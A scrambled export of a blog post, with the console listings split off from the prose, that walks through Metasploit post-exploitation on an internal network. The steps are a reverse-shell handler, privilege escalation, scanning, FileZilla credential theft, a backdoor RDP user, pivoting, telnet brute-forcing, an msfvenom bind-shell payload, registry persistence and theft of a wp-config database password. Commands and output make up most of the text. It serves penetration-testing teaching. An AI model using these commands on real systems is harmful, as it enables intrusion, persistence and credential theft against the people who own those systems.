we\u2019ll talk about post exploitation hacking techniques you can use after having a meterpreter shell on a remote system.<\/p>\n
You\u2019ll see things like:<\/p>\n
NOTE: Don\u2019t take this guide as standard methodology. The purpose is to show different \u201ctips and tricks\u201d you can use in post exploitation phases.<\/strong><\/p>\n Start the Handler<\/strong><\/p>\n We\u2019re assuming we already have a backdoor installed on the remote system. Let\u2019s have our handler running and waiting for remote connections:<\/p>\n msf > use exploit\/multi\/handler Privilege Escalation<\/strong><\/p>\n Now that we have our session running some privilege escalation commands, let\u2019s get higher privileges on the system:<\/p>\n meterpreter > getsystem Map the Network<\/strong><\/p>\n An easy way to map the internal network is by running arp_scanner module:<\/p>\n meterpreter > run arp_scanner \u2013r 10.32.120.0\/24 As you see there are 5 total hosts on the network.<\/p>\n Port Scan<\/strong><\/p>\n Once we\u2019ve listed all internal hosts, we need to run a TCP scan to check for open ports. meterpreter > background Data Harvesting<\/strong><\/p>\n There\u2019s a chain of commands for this purpose and we\u2019ll see a few of them.<\/p>\n Figured out installed application<\/em><\/p>\n meterpreter > run post\/windows\/gather\/enum_applications We find Filezilla runing on the system and already know that Metasploit has a module to get credentials from FTP software like Filezilla.<\/p>\n meterpreter > run post\/multi\/gather\/filezilla_client_cred We also found a new host with the IP: 10.32.121.23.<\/p>\n Exploit the Server<\/strong><\/p>\n In the previous step, we discovered a new host with IP: 10.32.121.23 running a FTP service on it. Before getting more info about it, let\u2019s try to connect to this system by creating RDP user. For that, we have to interact with our running meterpreter shell and create a new RDP user. Plus, we have to start the RDP service on remote system.<\/p>\n meterpreter > shell We can login to it with : Port Scan<\/strong><\/p>\n Let\u2019s run a TCP scan on the server to check further for open ports. To do that, we first need to add a route to the machine \u2013 we have to use victim 1 as a bridge.<\/p>\n meterpreter > run autoroute -s 10.32.121.0\/24 Now, we can run our scanner module:<\/p>\n meterpreter > background Web Server<\/strong><\/p>\n Previously, we found a web server running on intranet. We will port forward the server to us to access the site:<\/p>\n meterpreter > portfwd add -l 8001 -p 80 -r 10.32.121.23 We should be able to access the internal web site by visiting localhost:8001<\/strong><\/p>\n Weak Password Cracking<\/strong><\/p>\n On previous tasks, we found also port 23 open on 10.32.121.23 system. Without any service detection, we can figure out there\u2019s probably an Telnet service on. Let\u2019s try to crack the password using telnet cracker auxiliary:<\/p>\n msf auxiliary(tcp) > use auxiliary\/scanner\/telnet\/telnet_login Uploading a Backdoor<\/strong><\/p>\n * Create a backdoor<\/em><\/p>\n root@kali:~# cd \/pentest\/exploits\/framework3\/ Upload it to the remote system and execute it through telnet (as we have the credentials):<\/p>\n meterpreter > upload \/root\/Desktop\/msf_bind.exe \u2018C:\\Documents and Run the backdoor using the Telnet session<\/p>\n msf auxiliary(telnet_login) > sessions -i 2 Next, we set up a new handler and wait for connections:<\/p>\n msf auxiliary(tcp) > use exploit\/multi\/handler Privilege Escalation<\/strong><\/p>\n NOTE: Don\u2019t forget \u2013 the first thing you want to do after gaining access to remote system is to escalate you privileges (after migration of course). <\/strong>Let\u2019s run one more:<\/p>\n meterpreter > getsystem Maintaining Access<\/strong><\/p>\n Getting just high privileges isn\u2019t enough, right? Let\u2019s add a value in the registry in order to run our backdoor on startup so we can access the system any time we want:<\/p>\n meterpreter > reg setval -k Data Harvesting<\/strong><\/p>\n We know the system is running a web server and is probably connected to a database. Let\u2019s find\u00a0 usernames and passwords for this site. The easier way is by looking up the config file of the site by downloading it:<\/p>\n meterpreter > ls Mode\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Size\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Type\u00a0\u00a0\u00a0\u00a0 Name meterpreter > download wp-config.php \/root\/Desktop\/conf.php And, finally, the credentials we need:<\/p>\n DB NAME\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 intranet That\u2019s it for now. Hope you find this useful!<\/em><\/p>\n","protected":false},"excerpt":{"rendered":" we\u2019ll talk about post exploitation hacking techniques you can use after having a meterpreter shell on a remote system. You\u2019ll see things like: Privilege Escalation Maintaining […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[228,229,230],"tags":[126,257,8,259,230,198],"class_list":["post-73","post","type-post","status-publish","format-standard","hentry","category-malware-and-threat-analysis","category-network-and-protocol-security","category-penetration-testing","tag-arp","tag-malware","tag-metasploit","tag-network-security","tag-penetration-testing","tag-privilege-escalation"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/73","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=73"}],"version-history":[{"count":2,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/73\/revisions"}],"predecessor-version":[{"id":8540,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/73\/revisions\/8540"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=73"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=73"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=73"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\nmsf exploit(handler) > set PAYLOAD windows\/meterpreter\/reverse_tcp
\nPAYLOAD => windows\/meterpreter\/reverse_tcp
\nmsf exploit(handler) > set LHOST 172.16.5.40
\nLHOST => 172.16.5.40
\nmsf exploit(handler) > set LPORT 4466
\nLPORT => 4466
\nmsf exploit(handler) > exploit
\n[*] Started reverse handler on 172.16.5.40:4466
\n[*] Starting the payload handler\u2026
\n[*] Sending stage (752128 bytes) to 10.32.120.15
\n[*] Meterpreter session 1 opened (172.16.5.40:4466 -> 10.32.120.15:1034)<\/p>\n
\n\u2026got system (via technique 1).
\nmeterpreter > getuid
\nServer username: NT AUTHORITYSYSTEM<\/p>\n
\n[*] ARP Scanning 10.32.120.0\/24
\n[*] IP: 10.32.120.1 MAC 00:50:56:b1:eb:b8
\n[*] IP: 10.32.120.8 MAC 00:50:56:b1:eb:9a
\n[*] IP: 10.32.120.15 MAC 00:50:56:b1:eb:dd
\n[*] IP: 10.32.120.17 MAC 00:50:56:b1:eb:de
\n[*] IP: 10.32.120.13 MAC 00:50:56:b1:eb:df
\nmeterpreter ><\/p>\n
\nThat will help us to also identify the role of each system inside the network. To do that, we first need to background our current session and run the tcp_scanner module:<\/p>\n
\n[*] Backgrounding session 4\u2026
\nmsf exploit(handler) > use auxiliary\/scanner\/portscan\/tcp
\nmsf auxiliary(tcp) > set RHOSTS 10.32.120.17
\nRHOSTS => 10.32.120.17
\nmsf auxiliary(tcp) > run
\n[*] 10.32.120.17:139 \u2013 TCP OPEN
\n[*] 10.32.120.17:135 \u2013 TCP OPEN
\n[*] 10.32.120.17:445 \u2013 TCP OPEN<\/p>\n
\n[*] Enumerating applications installed on LS-WINXP
\nInstalled Applications
\n======================
\nName
\n\u2014-
\nFileZilla Client 3.5.3
\nMicrosoft Visual C++ 2008 Redistributable \u2013 x86
\nMicrosoft Visual C++ 2010 x86 Redistributable
\nSecurity Update for Windows XP (KB958644)
\nVMware Tools
\nWebFldrs XP
\nVersion
\n\u2014\u2014-
\n3.5.3
\n9.0.30729.4148
\n10.0.40219
\n1
\n8.6.0.6261
\n9.50.7523
\n[*] Results stored in:
\n\/root\/.msf4\/loot\/20120314093539_default_10.32.120.15_host.application_729
\n568.txt
\nmeterpreter ><\/p>\n
\n[*] Checking for Filezilla directory in: C:Documents and
\nSettingsLSAdminApplication Data
\n[*] Found C:Documents and SettingsLSAdminApplication DataFileZilla
\n[*] Checking for Filezilla directory in: C:Documents and
\nSettingsAdministratorApplication Data
\n[*] Reading sitemanager.xml and recentservers.xml files from C:Documents
\nand SettingsLSAdminApplication DataFileZilla
\n[*] Parsing sitemanager.xml
\n[*] Collected the following credentials:
\n[*] Server: 10.32.121.23:21
\n[*] Protocol: FTP
\n[*] Username: lsuser_ftp
\n[*] Password: FTPStrongPwd
\n[*] Parsing recentservers.xml
\n[*] Collected the following credentials:
\n[*] Server: 10.32.121.23:21
\n[*] Protocol: FTP
\n[*] Username: lsuser_ftp
\n[*] Password: FTPStrongPwd
\nmeterpreter ><\/p>\n
\nProcess 1100 created.
\nChannel 6 created.
\nMicrosoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
\nC:Documents and SettingsLSAdmin> net user guest_1 guestpwd \/add
\nnet user guest_1 guestpwd \/add
\nC:Documents and SettingsLSAdmin> net localgroup \u201cRemote Desktop Users\u201d
\nguest_1 \/add
\nnet localgroup \u201cRemote Desktop Users\u201d guest_1 \/add
\nThe command completed successfully.
\nmeterpreter > run getgui -e
\n[*] Windows Remote Desktop Configuration Meterpreter Script by
\nDarkoperator
\n[*] Carlos Perez carlos_perez@darkoperator.com
\n[*] Enabling Remote Desktop
\n[*] RDP is disabled; enabling it \u2026
\n[*] Setting Terminal Services service startup mode
\n[*] The Terminal Services service is not set to auto, changing it\u2026
\n[*] For cleanup use command: run multi_console_command -rc
\n\/root\/.msf4\/logs\/scripts\/getgui\/clean_up__20120314.4155.rc
\nmeterpreter ><\/p>\n
\nroot@kali:~# rdesktop 10.32.120.15 -u guest_1
\nAfter getting the RDP, you\u2019ll be asked also for the password.<\/p>\n
\n[*] Adding a route to 10.32.121.0\/255.255.255.0\u2026
\n[+] Added route to 10.32.121.0\/255.255.255.0 via 10.32.120.15
\n[*] Use the -p option to list all active routes
\nmeterpreter ><\/p>\n
\n[*] Backgrounding session 2\u2026
\nmsf exploit(handler) > use auxiliary\/scanner\/portscan\/tcp
\nmsf auxiliary(tcp) > set RHOSTS 10.32.121.23
\nRHOSTS => 10.32.121.23
\nmsf auxiliary(tcp) > run
\n[*] [*] [*] [*] [*] [*] \u2026
\n10.32.121.23:21 \u2013 TCP OPEN
\n10.32.121.23:23 \u2013 TCP OPEN
\n10.32.121.23:80 \u2013 TCP OPEN
\n10.32.121.23:139 \u2013 TCP OPEN
\n10.32.121.23:135 \u2013 TCP OPEN
\n10.32.121.23:445 \u2013 TCP OPEN<\/p>\n
\n[*] Local TCP relay created: 0.0.0.0:8001 <-> 10.32.121.23:80
\nmeterpreter ><\/p>\n
\nmsf auxiliary(telnet_login) > set RHOSTS 10.32.121.23
\nRHOSTS => 10.32.121.23
\nmsf auxiliary(telnet_login) > set PASS_FILE \/root\/Desktop\/pwd.txt
\nPASS_FILE => \/root\/Desktop\/pwd.txt
\nmsf auxiliary(telnet_login) > set USER_FILE \/root\/Desktop\/username.txt
\nUSER_FILE => \/root\/Desktop\/username.txt
\nmsf auxiliary(telnet_login) > set THREADS 15
\nTHREADS => 15
\nmsf auxiliary(telnet_login) > set USER_AS_PASS false
\nUSER_AS_PASS => false
\nmsf auxiliary(telnet_login) > set STOP_ON_SUCCESS true
\nSTOP_ON_SUCCESS => true
\nmsf auxiliary(telnet_login) > exploit
\n\u2026
\n[*] 10.32.121.23:23 TELNET \u2013 [00009\/10000] \u2013 Banner: Welcome to Microsoft
\nTelnet Service login:
\n[*] 10.32.121.23:23 TELNET \u2013 [00009\/10000] \u2013 Prompt: netadmin password:
\n[*] 10.32.121.23:23 TELNET \u2013 [00009\/10000] \u2013 Result: The handle is
\ninvalid. Login Failed login:
\n[*] 10.32.121.23:23 Telnet \u2013 [00010\/10000] \u2013 Attempting:
\n\u2018netadmin\u2019:\u201912345678\u2032
\n[*] 10.32.121.23:23 TELNET \u2013 [00010\/10000] \u2013 Banner: Welcome to Microsoft
\nTelnet Service login:
\n[*] 10.32.121.23:23 TELNET \u2013 [00010\/10000] \u2013 Prompt: netadmin password:
\n[*] 10.32.121.23:23 TELNET \u2013 [00010\/10000] \u2013 Result: The handle is
\ninvalid. Login Failed login:
\n[*] 10.32.121.23:23 Telnet \u2013 [00011\/10000] \u2013 Attempting:
\n\u2018netadmin\u2019:\u2019abc123\u2032
\n[*] 10.32.121.23:23 TELNET \u2013 [00011\/10000] \u2013 Banner: Welcome to Microsoft
\nTelnet Service login:
\n[*] 10.32.121.23:23 TELNET \u2013 [00011\/10000] \u2013 Prompt: netadmin password:
\n[*] 10.32.121.23:23 TELNET \u2013 [00011\/10000] \u2013 Result:
\n*===============================================================
\nMicrosoft Telnet Server.
\n*===============================================================
\nC:Usersnetadmin>
\n[+] 10.32.121.23 \u2013 SUCCESSFUL LOGIN netadmin : abc123
\n[*] Attempting to start session 10.32.121.23:23 with netadmin:abc123
\n[*] Command shell session 2 opened (Local Pipe -> Remote Pipe)
\n[*] Auxiliary module execution completed
\nmsf auxiliary(telnet_login) ><\/p>\n
\nroot@kali:\/pentest\/exploits\/framework3# .\/msfvenom
\nwindows\/meterpreter\/bind_tcp LPORT=2444 X > \/root\/Desktop\/msf_bind.exe
\nCreated by msfpayload (http:\/\/www.metasploit.com).
\nPayload: windows\/meterpreter\/bind_tcp
\nLength: 298
\nOptions: {\u201cLPORT\u201d=>\u201d2444\u201d}<\/p>\n
\nSettings\\LSAdmin\\Local Settings\\Temp\\msf_bind.exe\u2019
\n[*] uploading : \/root\/Desktop\/msf_bind.exe -> C:\\Documents and
\nSettings\\LSAdmin\\Local Settings\\Temp\\msf_bind.exe
\n[*] uploaded
\n: \/root\/Desktop\/msf_bind.exe -> C:\\Documents and
\nSettings\\LSAdmin\\Local Settings\\Temp\\msf_bind.exe
\nmeterpreter ><\/p>\n
\n[*] Starting interaction with 2\u2026
\nC:>cd inetpub
\ncd inetpub
\nC:inetpub>cd ftproot
\ncd ftproot
\nC:inetpubftproot>msf_bind.exe
\nmsf_bind.exe
\nC:inetpubftproot><\/p>\n
\nmsf exploit(handler) > set PAYLOAD windows\/meterpreter\/bind_tcp
\nPAYLOAD => windows\/meterpreter\/bind_tcp
\nmsf exploit(handler) > set RHOST 10.32.121.23
\nRHOST => 10.32.121.23
\nmsf exploit(handler) > set LPORT 2444
\nLPORT => 2444
\nmsf exploit(handler) > exploit
\n[*] Starting the payload handler\u2026
\n[*] Started bind handler
\n[*] Sending stage (752128 bytes)
\n[*] Meterpreter session 4 opened (172.16.5.40-10.32.120.15:0 ->
\n10.32.121.23:2444)
\nmeterpreter ><\/p>\n
\n\u2026got system (via technique 4).
\nmeterpreter > getuid
\nServer username: NT AUTHORITYSYSTEM
\nmeterpreter ><\/p>\n
\nHKLM\\software\\microsoft\\windows\\currentversion\\run
\n\u2018\u201dC:inetpubftprootmsf_bind.exe\u201d\u2018 -v msf_bind
\nSuccessful set msf_bind.
\nmeterpreter >
\n-d
\nWhere \u2013k indicates the registry key path, -d the value of the value of the key and \u2013v the name.<\/p>\n
\nListing: C:inetpubwwwrootintranet
\n====================================<\/p>\n
\n\u2014-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 \u2014-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u2014-\u00a0\u00a0\u00a0\u00a0 \u2014-
\n40777\/rwxrwxrwx\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0\u00a0 dir\u00a0\u00a0\u00a0\u00a0\u00a0 .
\n40777\/rwxrwxrwx\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0\u00a0\u00a0\u00a0 dir\u00a0\u00a0\u00a0\u00a0\u00a0 ..
\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 397\u00a0\u00a0\u00a0 \u00a0 \u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 index.php
\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 16899\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 licence.txt
\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 9202\u00a0\u00a0\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 readme.html
\n\u2026
\n\u2026
\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 3982\u00a0\u00a0\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 wp-comments-post.php
\npost.php\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 3165\u00a0\u00a0\u00a0\u00a0\u00a0 fil\u00a0\u00a0\u00a0\u00a0\u00a0 wp-config.php
\n100666\/rw-rw-rw-\u00a0\u00a0\u00a0\u00a0\u00a0 0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 dir\u00a0\u00a0\u00a0\u00a0\u00a0 wp-content
\n\u2026
\n\u2026<\/p>\n
\n[*] downloading: wp-config.php -> \/root\/Desktop\/conf.php\/wp-config.php
\n[*] downloaded : wp-config.php -> \/root\/Desktop\/conf.php\/wp-config.php
\nmeterpreter ><\/p>\n
\nDB USER\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 root
\nDB PASSWORD\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 LSMySqlDBPwd0905
\nDB HOST\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 10.32.121.12<\/p>\n